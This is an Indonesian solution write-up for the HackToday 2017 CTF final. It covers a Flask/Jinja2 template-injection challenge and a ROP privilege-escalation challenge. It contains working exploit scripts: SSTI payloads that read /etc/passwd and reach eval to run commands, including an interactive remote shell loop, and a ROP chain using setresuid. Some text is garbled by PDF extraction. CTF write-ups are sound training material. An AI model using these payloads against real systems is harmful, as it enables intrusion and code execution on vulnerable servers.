Download as pdf or txt
Download as pdf or txt
You are on page 1of 34

Solusi​ ​Final​ ​HackToday​ ​2017 

Problems:

1. Birthday​ ​Card
2. Buaya
3. Cacah​ ​Jiwa
4. How​ ​to​ ​Blog
5. Kudanil
6. Math​ ​Service
7. Musicality​ ​Icon
8. Sanca

   
Birthday​ ​Card 
Tags:​ ​python,​ ​rce,​ ​flask​ ​template​ ​injection,​ ​SSTI
File:
curl​ ​-Ls​ ​https://git.io/vdfwm​ ​|​ ​base64​ ​-d​ ​>​ ​birthday.tar.gz

Target:
http://45.127.134.29:30101/

Solusi:
Kita​ ​diberikan​ ​source​ ​code​ ​dari​ ​aplikasi​ ​web​ ​soal,​ ​aplikasi​ ​tersebut​ ​dibuat​ ​dari​ ​flask.​ ​Berikut
tampilan​ ​webnya.

Ketika​ ​kita​ ​memasukan​ ​sebuah​ ​string​ ​maka​ ​web​ ​tersebut​ ​akan​ ​mengembalikan​ ​kembali​ ​string
yang​ ​kita​ ​masukan.
Namun​ ​jika​ ​kita​ ​masukan​ ​string​ ​{{​ ​2+2​ ​}}​ ​maka​ ​web​ ​akan​ ​melakukan​ ​eval​ ​inputan​ ​kita​ ​sesuai
ulasan​ ​blog1​ ​ternyata​ ​web​ ​ini​ ​vulnerable​ ​terhadap​ ​template​ ​injection.

1
​ ​https://nvisium.com/blog/2015/12/07/injecting-flask/
Bahkan​ ​kita​ ​dapat​ ​melakukan​ ​looping!,​ ​tentunya​ ​dengan​ ​syntax​ ​template​ ​jinja​ ​:)

{%​ ​for​ ​i​ ​in​ ​range(10)​ ​%}{{​ ​'loop​ ​%d,​ ​'​ ​|​ ​format(i)​ ​}}{%​ ​endfor​ ​%}
Salah​ ​satu​ ​cara​ ​untuk​ ​mendapatkan​ ​RCE​ ​adalah​ ​dengan​ ​mencoba​ ​teknik​ ​yang​ ​ada​ ​di​ ​blog
nvisium2​ ​dengan​ ​ubek2​ ​__mro__​ ​ ​(Method​ ​Resolution​ ​Order)
1. Cari​ ​built​ ​in​ ​function​ ​‘File’​ ​di​ ​subclass​ ​mro
2. Lalu​ ​write​ ​sebuah​ ​flask​ ​config​ ​ke​ ​/tmp/​ ​yang​ ​melakukan​ ​import​ ​subprocess
3. Load​ ​config​ ​yang​ ​sudah​ ​di​ ​write
4. Lalu​ ​panggil​ ​objek​ ​check_output​ ​dari​ ​subprocess​ ​dan​ ​voila!​ ​didapatkan​ ​RCE
Namun​ ​entah​ ​kenapa​ ​ketika​ ​write​ ​file​ ​ke​ ​/tmp/​ ​selalu​ ​internal​ ​server​ ​error,​ ​sehingga​ ​tidak​ ​dapat
melakukan​ ​load​ ​config.​ ​Berikut​ ​scriptnya

#!/usr/bin/env​ ​python

import​ ​requests,​ ​re,​ ​HTMLParser

#​ ​HTML​ ​Decoding
def​ ​hd(string):
​ ​ ​ ​ ​html_parser​ ​=​ ​HTMLParser.HTMLParser()
​ ​ ​ ​ ​return​ ​html_parser.unescape(string)

#​ ​Send​ ​payload
def​ ​sp(payload,​ ​debug=False):
​ ​ ​ ​ ​data​ ​=​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​"nama"​ ​:​ ​payload
​ ​ ​ ​ ​}
​ ​ ​ ​ ​r​ ​=​ ​requests.post("http://45.127.134.29:30101/",​ ​data=data)
​ ​ ​ ​ ​m​ ​=​ ​re.search('<p>Happy​ ​Birthday​ ​((?s).*)\!<\/p>',​ ​r.text)
​ ​ ​ ​ ​if​ ​debug:

2
​ ​https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​"Internal​ ​Server​ ​Error"​ ​in​ ​r.text:
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​return​ ​"[ERROR]​ ​internal​ ​server​ ​error"
​ ​ ​ ​ ​ ​ ​ ​ ​return​ ​r.text
​ ​ ​ ​ ​return​ ​hd(m.group(1))
i​ ​=​ ​0
print("[+]​ ​mencari​ ​built​ ​in​ ​function​ ​'file'​ ​..")
while​ ​True:
​ ​ ​ ​ ​resp​ ​=​ ​sp("{{​ ​''.__class__.__mro__[2].__subclasses__()[%s]​ ​}}"
%​ ​str(i))
​ ​ ​ ​ ​print(resp)
​ ​ ​ ​ ​if​ ​"file"​ ​in​ ​resp:
​ ​ ​ ​ ​ ​ ​ ​ ​print("[+]​ ​'file'​ ​ditemukan")
​ ​ ​ ​ ​ ​ ​ ​ ​print("[+]​ ​read​ ​/etc/passwd")
​ ​ ​ ​ ​ ​ ​ ​ ​resp​ ​=​ ​sp("{{
''.__class__.__mro__[2].__subclasses__()[%s]('/etc/passwd').read()
}}"​ ​%​ ​str(i))
​ ​ ​ ​ ​ ​ ​ ​ ​print(resp)
​ ​ ​ ​ ​ ​ ​ ​ ​break
​ ​ ​ ​ ​i​ ​+=​ ​1
print("Write​ ​file​ ​ke​ ​/tmp/...")
resp​ ​=​ ​sp("{{
''.__class__.__mro__[2].__subclasses__()[%s]('/tmp/this_is_uniq_str
ing232323',​ ​'w').write('test')​ ​}}"​ ​%​ ​str(i),​ ​debug=True)
print(resp)

Untuk​ ​melihat​ ​scriptnya​ ​berjalan​ ​bisa​ ​dilihat​ ​di​ ​asciinema3.​ ​Karena​ ​gagal,​ ​akhirnya​ ​mencoba​ ​cari
cara​ ​alternatif,​ ​didapatkan​ ​writeup​ ​pybabbies4.​ ​Jika​ ​di​ ​writeup​ ​itu​ ​mencari​ ​function​ ​‘os’,​ ​disini​ ​kita
akan​ ​mencari​ ​‘eval’.​ ​Jadi​ ​tekniknya​ ​seperti​ ​ini
1. Mencari​ ​catch_warnings​ ​dari​ ​kumpulan​ ​subclasses​ ​dari​ ​base
2. Mencari​ ​built​ ​in​ ​function​ ​‘eval’​ ​didalam​ ​kumpulan​ ​dictionary​ ​yang​ ​ada​ ​di​ ​catch_warnings
3. Masukan​ ​argument​ ​eval​ ​ke​ ​objek​ ​yang​ ​didapatkan​ ​dan​ ​voila!​ ​RCE​ ​didapatkan
Teknik​ ​ekploit​ ​ini​ ​lumayan​ ​banyak​​ ​try​ ​and​ ​error​ ​sampai​ ​bekerja​ ​dengan​ ​baik,​ ​dan​ ​sampai
sekarang​ ​penasaran​ ​mengapa​ ​ada​ ​fungsi​ ​eval​ ​didalam​ ​dictionary​ ​yang​ ​ada​ ​di​ ​catch_warnings?

#!/usr/bin/env​ ​python

import​ ​requests,​ ​re,​ ​HTMLParser

#​ ​HTML​ ​Decoding
def​ ​hd(string):

3
​ ​https://asciinema.org/a/u5weCj4QGFyAYhnjuJ1SUvC2l
4

https://github.com/stevecoward/sugarstack-pelican/blob/master/content/csaw2014/csaw2014-pybabbies.
md
​ ​ ​ ​ h​ tml_parser​ ​=​ ​HTMLParser.HTMLParser()
​ ​ ​ ​ r​ eturn​ ​html_parser.unescape(string)

#​ ​Send​ ​payload
def​ ​sp(payload,​ ​debug=False):
​ ​ ​ ​ ​data​ ​=​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​"nama"​ ​:​ ​payload
​ ​ ​ ​ ​}
​ ​ ​ ​ ​r​ ​=​ ​requests.post("http://45.127.134.29:30101/",​ ​data=data)
​ ​ ​ ​ ​m​ ​=​ ​re.search('<p>Happy​ ​Birthday​ ​((?s).*)\!<\/p>',​ ​r.text)
​ ​ ​ ​ ​if​ ​debug:
​ ​ ​ ​ ​ ​ ​ ​ ​return​ ​r.text
​ ​ ​ ​ ​return​ ​hd(m.group(1))

i​ ​=​ ​0
print("[+]​ ​mencari​ ​catch_warnings")
while​ ​True:
​ ​ ​ ​ ​resp​ ​=​ ​sp("{{
[].__class__.__base__.__subclasses__()[%s].__name__​ ​}}"​ ​%​ ​str(i))
​ ​ ​ ​ ​print(resp)
​ ​ ​ ​ ​if​ ​"catch_warnings"​ ​in​ ​resp:
​ ​ ​ ​ ​ ​ ​ ​ ​print("[+]​ ​catch_warnings​ ​didapatkan​ ​pada​ ​index-%s"​ ​%
str(i))
​ ​ ​ ​ ​ ​ ​ ​ ​print("[+]​ ​mencari​ ​dictionary​ ​sebuah​ ​object")
​ ​ ​ ​ ​ ​ ​ ​ ​j​ ​=​ ​0
​ ​ ​ ​ ​ ​ ​ ​ ​while​ ​True:
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​resp​ ​=​ ​sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s].__class__​ ​}}"​ ​%​ ​(str(i),​ ​str(j)))
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​"dict"​ ​in​ ​resp:
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​print("[+]​ ​mencari​ ​eval...")
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​resp​ ​=​ ​sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s].keys()​ ​}}"​ ​%​ ​(str(i),​ ​str(j)))
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​print(resp)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​"eval"​ ​in​ ​resp:
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​print("[+]​ ​Eval​ ​ditemukan")
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​resp​ ​=​ ​sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s]['eval']('__import__(\"subprocess\").check_output(\"id\")
')​ ​}}"​ ​%​ ​(str(i),​ ​str(j)))
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​print(resp)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​print("PWNED!")
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​break
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​j​ ​+=​ ​1
​ ​ ​ ​ ​ ​ ​ ​ ​break
​ ​ ​ ​ ​i​ ​+=​ ​1
print("[+]​ ​switching​ ​interactive​ ​mode")

while​ ​True:
​ ​ ​ ​ ​cmd​ ​=​ ​raw_input("$​ ​")
​ ​ ​ ​ ​try:
​ ​ ​ ​ ​ ​ ​ ​ ​resp​ ​=​ ​sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s]['eval']('__import__(\"subprocess\").check_output(\"%s\",
shell=True)')​ ​}}"​ ​%​ ​(str(i),​ ​str(j),​ ​cmd))
​ ​ ​ ​ ​ ​ ​ ​ ​print(resp)
​ ​ ​ ​ ​except:
​ ​ ​ ​ ​ ​ ​ ​ ​print("%s:​ ​Permission​ ​denied"​ ​%​ ​cmd)

Untuk​ ​melihat​ ​script​ ​ini​ ​berjalan​ ​bisa​ ​dilihat​ ​di​ ​asciinema5

Penjelasan​ ​payload
Dimulai​ ​dari​ ​sebuah​ ​list​ ​“[​ ​]”,​ ​kita​ ​akan​ ​memanggil​ ​class​ ​dari​ ​sebuah​ ​list​ ​dengan​​ ​[].__class__
>>>​ ​dir([])
['__add__',​ ​'__class__',​ ​'__contains__',​ ​'__delattr__',
'__delitem__',​ ​'__delslice__',​ ​'__doc__',​ ​'__eq__',​ ​'__format__',
'__ge__',​ ​'__getattribute__',​ ​'__getitem__',​ ​'__getslice__',
'__gt__',​ ​'__hash__',​ ​'__iadd__',​ ​'__imul__',​ ​'__init__',
'__iter__',​ ​'__le__',​ ​'__len__',​ ​'__lt__',​ ​'__mul__',​ ​'__ne__',
'__new__',​ ​'__reduce__',​ ​'__reduce_ex__',​ ​'__repr__',
'__reversed__',​ ​'__rmul__',​ ​'__setattr__',​ ​'__setitem__',
'__setslice__',​ ​'__sizeof__',​ ​'__str__',​ ​'__subclasshook__',
'append',​ ​'count',​ ​'extend',​ ​'index',​ ​'insert',​ ​'pop',​ ​'remove',
'reverse',​ ​'sort']
>>>​ ​[].__class__
<type​ ​'list'>

Didapatkan​ ​<type​ ​‘list’>​ ​selanjutnya​ ​kita​ ​akan​ ​mundur​ ​ke​ ​base​ ​class,​ ​ibaratnya​ ​seperti​ ​ke
menuju​ ​“parent”​ ​nya​ ​<type​ ​‘list’>​ ​[].__class__.__base__​​ ​,​ ​selanjutnya​ ​kita​ ​akan​ ​melihat​ ​seluruh
subclass​ ​dari​ ​class​ ​base​​ ​dengan​ ​[].__class__.__base__.__subclassess__()​​ ​hasilnya​ ​adalah
sebuah​ ​list,​ ​lalu​ ​kita​ ​akan​ ​mencari​ ​catch_warnings​​ ​dari​ ​sekumpulan​ ​subclass​ ​tersebut.

   

5
​ ​https://asciinema.org/a/dsA8cvCLuPFVlZ3oUfAx5bdp5
Buaya 
Tags:​ ​return​ ​oriented​ ​programming,​ ​privilege​ ​escalation,​ ​suid​ ​bit,​ ​n-queen
File:
curl​ ​-Ls​ ​https://git.io/vdfPP​​ ​|​ ​base64​ ​-d​ ​>​ ​buaya.tar.gz

Target:
nc​ ​45.127.134.29​ ​30102

Solusi:
Binary​ ​yang​ ​diberikan​ ​berupa​ ​binary​ ​64​ ​bit​ ​yang​ ​stripped​ ​dan​ ​static​ ​linked.​ ​Sistem​ ​keamanan
yang​ ​ada​ ​pada​ ​binary​ ​adalah​ ​sebagai​ ​berikut.

$​ ​gdb​ ​-q​ ​buaya


Reading​ ​symbols​ ​from​ ​buaya...(no​ ​debugging​ ​symbols​ ​found)...done.
gdb-peda$​ ​checksec
CANARY​ ​ ​ ​ ​:​ ​disabled
FORTIFY​ ​ ​ ​:​ ​disabled
NX​ ​ ​ ​ ​ ​ ​ ​ ​:​ ​ENABLED
PIE​ ​ ​ ​ ​ ​ ​ ​:​ ​disabled
RELRO​ ​ ​ ​ ​ ​:​ ​Partial
gdb-peda$
---
Terdapat​ ​NX​ ​yang​ ​artinya​ ​tidak​ ​dapat​ ​meletakkan​ s​ hellcode​ ​pada​ ​stack.​ ​Solusinya,​ ​kita​ ​dapat
menggunakan​ ​ROP​ ​dikarenakan​ ​pilihan​ ​gadget​ ​yang​ ​begitu​ ​banyak​ ​akibat​ ​adanya​ ​static​ ​linked​.

Tujuan​ ​dari​ ​program​ ​ini​ ​adalah​ ​kita​ ​harus​ ​dapat​ ​mengalokasikan​ ​buaya​ ​-​ ​buaya​ ​agar​ ​tidak​ ​dapat
bertemu​ ​satu​ ​sama​ ​lain​ ​(dalam​ ​arah​ ​horizontal,​ ​vertikal,​ ​mau​ ​pun​ ​arah​ ​diagonal)​ ​dalam​ ​area​ ​m​ ​*
m.​ ​Ini​ ​merupakan​ ​n-queen​ ​problem​ ​yang​ ​dapat​ ​dilihat​ ​lebih​ ​jelas​ ​pada​ ​tautan
https://en.wikipedia.org/wiki/Eight_queens_puzzle​.​ ​Pengecekan​ ​n-queen​ ​dapat​ ​dilihat​ ​pada
kode​ ​berikut.

​​​ f ​ or​ ​(​ ​j​ ​=​ ​0;​ ​j​ ​<​ ​v17;​ ​++j​ ​)
​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​for​ ​(​ ​k​ ​=​ ​0;​ ​k​ ​<​ ​v17;​ ​++k​ ​)
​ ​ ​ ​ ​ ​ ​ {
​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​0;
​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​k​ ​+​ ​v2​ ​*​ ​j)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​l​ ​=​ ​j​ ​+​ ​1;​ ​l​ ​<​ ​v17;​ ​++l​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​k​ ​+​ ​v2​ ​*​ ​l)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​l​ ​=​ ​j​ ​-​ ​1;​ ​l​ ​>=​ ​0;​ ​--l​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​k​ ​+​ ​v2​ ​*​ ​l)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​l​ ​=​ ​k​ ​+​ ​1;​ ​l​ ​<​ ​v17;​ ​++l​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​l​ ​+​ ​v2​ ​*​ ​j)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​l​ ​=​ ​k​ ​-​ ​1;​ ​l​ ​>=​ ​0;​ ​--l​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​l​ ​+​ ​v2​ ​*​ ​j)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​l​ ​=​ ​j​ ​+​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​m​ ​=​ ​k​ ​+​ ​1;​ ​l​ ​<​ ​v17​ ​&&​ ​m​ ​<​ ​v17;​ ​++m​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​m​ ​+​ ​v2​ ​*​ ​l)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​++l;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​l​ ​=​ ​j​ ​-​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​m​ ​=​ ​k​ ​-​ ​1;​ ​l​ ​>=​ ​0​ ​&&​ ​m​ ​>=​ ​0;​ ​--m​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​m​ ​+​ ​v2​ ​*​ ​l)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​--l;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​l​ ​=​ ​j​ ​+​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​m​ ​=​ ​k​ ​-​ ​1;​ ​l​ ​<​ ​v17​ ​&&​ ​m​ ​>=​ ​0;​ ​--m​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​m​ ​+​ ​v2​ ​*​ ​l)​ ​==​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​++l;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​l​ ​=​ ​j​ ​-​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​for​ ​(​ ​m​ ​=​ ​k​ ​+​ ​1;​ ​l​ ​>=​ ​0​ ​&&​ ​m​ ​<​ v
​ 17;​ + ​ +m​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v4​ ​=​ ​v14;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​*((_BYTE​ ​*)v14​ ​+​ ​m​ ​+​ ​v2​ * ​ ​ ​l)​ =​ =​ ​98​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​v19​ ​=​ ​1;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​--l;
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​++v18;
​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​ ​ ​if​ ​(​ ​v19​ ​)
​ ​ ​ ​ ​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​sub_410C80(4860220LL,​ ​v4);
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​sub_40F0C0(0LL);
​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​}
​ ​ ​ ​ ​if​ ​(​ ​v18​ ​!=​ ​v17​ ​)
​ ​ ​ ​ ​{
​ ​ ​ ​ ​ ​ ​sub_410C80(4860226LL,​ ​v4);
​ ​ ​ ​ ​ ​ ​sub_40F0C0(0LL);
​ ​ ​ ​ ​}
​ ​ ​ ​ ​result​ ​=​ ​sub_410C80(4860233LL,​ ​v4);
​ ​ ​}
​ ​ ​return​ ​result;

Program​ ​akan​ ​mengecek​ ​jika​ ​terdapat​ ​alokasi​ ​buaya​ ​(yang​ ​ditandai​ ​dengan​ ​huruf​ ​‘b’)​ ​pada​ ​arah
horizontal,​ ​vertikal,​ ​dan​ ​diagonal​ ​dengan​ ​jumlah​ ​lebih​ ​dari​ ​1.​ ​Selain​ ​itu,​ ​jika​ ​kita​ ​coba​ ​masukkan
koordinat​ ​yang​ ​sama​ ​beberapa​ ​kali,​ ​program​ ​akan​ ​mengetahuinya.​ ​Oleh​ ​karena​ ​itu,​ ​kita​ ​harus
dapat​ ​menyelesaikan​ ​n-queen​ ​ini​ ​terlebih​ ​dahulu​ ​(sebanyak​ ​20).

Setelah​ ​menyelesaikan​ ​n-queen​ ​ini,​ ​kita​ ​akan​ ​mendapatkan​ ​fungsi​ ​gets()​ ​yang​ ​vulnerable
sehingga​ ​dengan​ ​ROPchain​ ​kita​ ​akan​ ​mendapatkan​ s​ hell.​ ​Namun,​ ​jika​ ​kita​ ​hanya
menggunakan​ ​ROPchain​ ​tersebut,​ ​kita​ ​tidak​ ​bisa​ ​membaca​ ​flag​ ​tersebut.​ ​Hal​ ​ini​ ​dikarenakan
flag​ ​tersebut​ ​dimiliki​ ​oleh​ ​user​ ​buaya​ ​dan​ u
​ ser​ ​lain​ ​tidak​ ​dapat​ ​membacanya.​ ​Sementara,​ ​user
yang​ ​kita​ ​dapatkan​ ​adalah​ ​nobody.

$​ ​ls​ ​-l
total​ ​840
-rw​s​rwxr-x​ ​1​ ​buaya​ ​ddicscovkp​ ​849016​ ​Sep​ 2 ​ 2​ 1 ​ 2:06​ b​ uaya
-rw-rw-r--​ ​1​ ​root​ ​ ​root​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​643​ ​Sep​ 2​ 2​ 1 ​ 2:06​ b​ uaya.gambar
-rw-------​ ​1​ ​buaya​ ​buaya​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​76​ ​Sep​ 2 ​ 2​ 1 ​ 4:40
flag_cebdd606f21791b0518e172824d92d27
$​ ​cat​ ​fl*
$​ ​id
uid=65534(nobody)​ ​gid=65534(nogroup)​ ​groups=65534(nogroup)
$

​ inary​ ​buaya.​ ​Hal​ ​ini​ ​berarti,


Akan​ ​tetapi,​ ​terdapat​ ​hal​ ​yang​ ​menarik​ ​yaitu​ ​terdapat​ ​bit​ ​‘s’​ ​pada​ b
kita​ ​dapat​ ​menjalankan​ ​binary​ ​tersebut​ ​dengan​ ​permission​ ​user​ ​buaya​ ​yang​ ​selanjutnya​ ​ketika
mendapatkan​ ​shell,​ ​maka​ ​user​ ​yang​ ​didapatkan​ ​adalah​ ​buaya.​ ​Referensi​ ​mengenai​ ​SUID​ ​bit
dapat​ ​dilihat​ ​di​ ​http://www.linuxnix.com/suid-set-suid-linuxunix/​.​ ​Selain​ ​itu,​ ​soal​ ​ini​ ​juga
terinspirasi​ ​dari​ ​Angstrom​ ​CTF​ ​yang​ ​write-up​ ​nya​ ​dapat​ ​dilihat​ ​di
https://albertmario19.wordpress.com/2017/05/03/no-libc-for-you/​.​ ​Dengan​ ​adanya​ ​kebocoran
pada​ ​id​ ​tersebut,​ ​kita​ ​dapat​ ​menambahkan​ ​sedikit​ ​kode​ ​untuk​ ​mengambil​ ​id​ ​buaya​ ​untuk
menjadikkan​ ​kita​ ​sebagai​ ​user​ ​buaya​ ​pada​ ​ROPchain​ ​kita​ ​seperti​ ​berikut​ ​dengan
memanfaatkan​ ​syscall​ ​setresuid()​ ​.

p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00401b66​)​ ​#​ ​ ​ ​pop​ ​rdi;​ ​ret


:
p​ ​+=​​ ​p64(​0x3b25​)​ ​#​ ​isi​ ​dengan​ ​id​ ​yang​ ​punya​ ​flagnya
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00401c87​)​ ​#​ ​pop​ ​rsi​ ​;​ ​ret
p​ ​+=​​ ​p64(​0x3b25​)​ ​#​ ​isi​ ​dengan​ ​id​ ​yang​ ​punya​ ​flagnya
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00443ef6​)​ ​#​ ​pop​ ​rdx;​ ​ret
p​ ​+=​​ ​p64(​0x3b25​)​ ​#​ ​isi​ ​dengan​ ​id​ ​yang​ ​punya​ ​flagnya

p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0046f9b0​)​ ​#​ ​mov​ ​rax,​ ​1


for​​ ​i​ ​in​​ ​range​(​116​):
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x0046f980​)​ ​#​ ​add​ ​rax,​ ​1
p​ ​+=​​ ​pack(​'<Q'​,​ ​0x00000000004706e5​)​ ​#​ ​syscall​ ​;​ ​ret

Untuk​ ​id​ ​dari​ ​buaya,​ ​kita​ ​dapat​ ​melihatnya​ ​melalui​ ​/etc/passwd​ ​ketika​ ​mendapatkan​ ​shell,​ ​atau
dengan​ ​memasukkan​ ​perintah​ ​‘id​ ​buaya’​ ​sehingga​ ​kita​ ​dapat​ ​memasukkan​ ​id​ ​nya.​ ​Berikut​ s​ cript
lengkap​ ​yang​ ​dibuat​ ​oleh​ ​problem​ ​setter.​

#!/usr/bin/python

from​​ ​pwn​​ ​import​​ ​*


from​​ ​struct​​ ​import​​ ​pack

global​​ ​papan
papan​ ​=​ ​[]

def​​ ​bikin_papan​(N):
for​​ ​i​ ​in​​ ​range​(N):
nol​ ​=​ ​[]

for​​ ​j​ ​in​​ ​range​(N):


nol​.​append(​0​)

papan​.​append(nol)

def​​ ​cek_lokasi​(papan,​ ​N,​ ​a,​ ​b):


x​ ​=​ ​0
for​​ ​i​ ​in​​ ​range​(N):
if​​ ​i​ ​>​ ​a:
x​ ​+=​​ ​1
for​​ ​j​ ​in​​ ​range​(N):
